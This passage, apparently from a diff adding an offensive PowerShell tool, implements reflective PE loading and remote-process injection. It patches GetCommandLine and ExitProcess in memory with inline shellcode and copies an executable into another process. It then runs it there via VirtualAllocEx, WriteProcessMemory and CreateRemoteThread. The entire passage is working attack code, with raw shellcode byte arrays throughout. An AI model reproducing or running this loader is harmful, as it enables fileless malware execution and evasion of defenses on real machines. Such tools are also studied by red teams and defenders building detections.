$PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned 